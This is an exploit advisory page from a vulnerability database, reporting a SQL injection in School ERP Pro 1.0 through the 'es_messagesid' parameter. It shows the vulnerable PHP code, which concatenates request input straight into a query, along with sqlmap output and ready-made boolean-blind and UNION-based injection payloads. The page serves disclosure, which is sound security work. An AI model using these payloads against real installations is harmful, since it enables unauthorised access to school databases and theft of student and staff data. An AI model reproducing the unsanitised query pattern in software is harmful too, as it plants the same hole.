Lucene search
K

School ERP Pro 1.0 SQL Injection

🗓️ 29 Apr 2020 00:00:00Reported by Besim AltinokType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 82 Views

School ERP Pro 1.0 SQL Injection vulnerability details and SQLmap finding

Code
`# Exploit Title: School ERP Pro 1.0 - 'es_messagesid' SQL Injection  
# Date: 2020-04-28  
# Author: Besim ALTINOK  
# Vendor Homepage: http://arox.in  
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/  
# Version: latest version  
# Tested on: Xampp  
# Credit: İsmail BOZKURT  
  
SQL Injection Detail  
--------------------------------  
*# Vulnerable parameter: es_messagesid*  
*# Vulnerable code:*  
  
if($action=="fullmessage_sent"){  
$msg_qry ="SELECT * FROM es_messages WHERE  
from_id=".$_SESSION['eschools']['user_id']." AND from_type='student' and  
es_messagesid=".*$es_messagesid;*  
$details_message=$db->getrow($msg_qry);  
}  
?>  
  
*Here is the SQLmap output:*  
*----------------------------------------*  
  
GET parameter '*es_messagesid*' is vulnerable.  
sqlmap identified the following injection point(s):  
---  
Parameter: es_messagesid (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: pid=27&action=fullmessage_sent&es_messagesid=17 OR NOT  
6369=6369  
  
Type: UNION query  
Title: Generic UNION query (random number) - 12 columns  
Payload: pid=27&action=fullmessage_sent&es_messagesid=17 UNION ALL  
SELECT  
6194,6194,6194,6194,6194,6194,CONCAT(0x7162626b71,0x664750636f625866666c63425571426c5277516c49506c696f6548764c5a617977414d4849575a67,0x71707a7671),6194,6194,6194,6194,6194--  
-  
---  
[01:09:41] [INFO] testing MySQL  
[01:09:42] [INFO] confirming MySQL  
[01:09:44] [INFO] the back-end DBMS is MySQL  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation